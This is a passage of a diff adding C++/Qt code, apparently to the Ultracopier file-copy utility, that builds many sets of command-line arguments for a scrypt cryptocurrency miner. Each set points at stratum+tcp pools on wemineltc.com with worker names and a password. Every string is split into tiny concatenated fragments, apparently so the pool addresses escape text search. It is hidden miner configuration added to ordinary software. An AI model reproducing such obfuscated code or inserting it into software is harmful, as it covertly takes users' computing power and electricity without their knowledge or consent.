+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol7") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol7") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol7") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol7") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol8") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol8") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol8") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol8") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol9") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol9") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol9") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol9") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(3335) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol10") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol10") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol10") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol10") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol11") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol11") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol11") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol11") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol12") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol12") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol12") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol12") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol13") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol13") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol13") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol13") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol14") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol14") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol14") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol14") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(3335) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol15") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol15") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol15") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol15") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol16") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol16") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol16") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol16") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
